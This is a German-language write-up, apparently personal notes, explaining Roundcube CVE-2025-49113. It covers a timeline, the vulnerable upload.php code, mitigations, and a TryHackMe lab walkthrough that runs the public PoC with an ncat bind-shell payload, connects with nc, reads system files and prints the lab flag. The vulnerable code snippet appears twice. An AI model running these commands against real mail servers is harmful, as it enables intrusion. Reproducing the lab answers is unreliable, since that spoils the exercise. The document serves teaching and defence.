
Erklärung + Lab auf THM
{{date}} {{time}}
Status: Abgeschlossen
Lab: Einfach
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
von KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Auswirkung: Remote-Befehlsausführung nach Login (CVSS 9.9)
Betroffene Versionen: ≤ 1.5.10 / 1.6.10
Patched: 1.5.11 und 1.6.11
| Datum | Ereignis |
|---|---|
| ~2014 | Einführung der Route program/actions/settings/upload.php mit Verwendung von session->append() ohne Validierung. |
| 03. Juni 2025 | Forscher von @FearsOff veröffentlichen das Advisory und kündigen PoC an. |
| 04. Juni 2025 | Roundcube wendet Commit 0376f69 (1.6-stable) und Commit 7408f31 (1.5-lts) an. |
| 06. Juni 2025 | PoC auf GitHub veröffentlicht. (fearsoff-org/CVE-2025-49113) |
| 10. Juni 2025 | Massenausnutzung. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … weiter unten
$rcmail->session->append($type . '.files', $id, $attachment);
Die Eingabe _from kommt vollständig vom GET, wird dann Teil des Namens eines Knotens in der Sitzung und
während des ersten append() macht Roundcube:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … weiter unten
$rcmail->session->append($type . '.files', $id, $attachment);
Wenn die Datei existiert, hat der RCE funktioniert.
Aktualisieren Sie sofort auf ≥ 1.6.11 oder ≥ 1.5.11.
Falls Sie nicht aktualisieren können, blockieren Sie jedes _from, das %22, %7C, !, . oder Kontrollbytes enthält, über WAF, Firewall oder Rewrite.
Deaktivieren Sie gefährliche Funktionen (proc_open, exec, etc.) in der php.ini.
Blockieren Sie Uploads im Einstellungsbereich und überwachen Sie Logs.
Free Room: https://tryhackme.com/room/roundcubecve202549113
Created by tryhackme & strategos
VM (MACHINE_IP) und AttackBox öffnen.
Zugriff auf http://MACHINE_IP/roundcube mit:
Benutzer: ellieptic
Passwort: ChangeMe123
Das funktioniert und meldet sich normal an:

Nachdem überprüft wurde, dass alles läuft, führen wir den Exploit aus. Dazu greifen wir auf die zuvor erwähnte PoC auf GitHub zu und klonen sie:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

Die Verwendung des Payloads ist einfach: Erstellen Sie die Bind-Shell und zeigen Sie auf einen Port mit der .php-Datei gemäß der folgenden Verwendung:
php CVE-2025-49113.php <site> <user> <passwort> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– Das Skript meldet sich an, injiziert das schädliche PHP-Objekt in den Parameter _from, wie zuvor besprochen, ruft den Endpunkt upload.php auf und erzwingt dann das Abmelden, um
session_decode() → unserialize() → proc_open() auszulösen.
Manchmal zeigt es einen CSRF-Fehler; ignorieren Sie ihn und fahren Sie mit dem nächsten Schritt fort,
weil der Befehl normalerweise trotzdem ausgeführt wurde.

Wenn die Bind-Shell funktioniert hat, hört sie auf dem von uns angegebenen Port 1337, wir müssen uns jetzt nur noch damit verbinden:
nc MACHINE_IP 1337
Shell erhalten.

ByteUm diese Frage zu lösen, könnten wir einen cat in /etc/passwd machen und nach dem Benutzer von Maggie greppen, oder einfach ein ls in /home ausführen.

/etc gespeicherten Flagge?THM{ICE_CUBE_DESERIALISATION}Um das zu lösen, habe ich cat /etc/flag* ausgeführt und glücklicherweise hieß die Datei flag, sodass wir sie erfassen konnten.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff-Bericht – https://fearsoff.org/research/roundcube
OffSec-Blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme – TryHackMe | Roundcube: CVE-2025-49113
GHSA-Advise – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com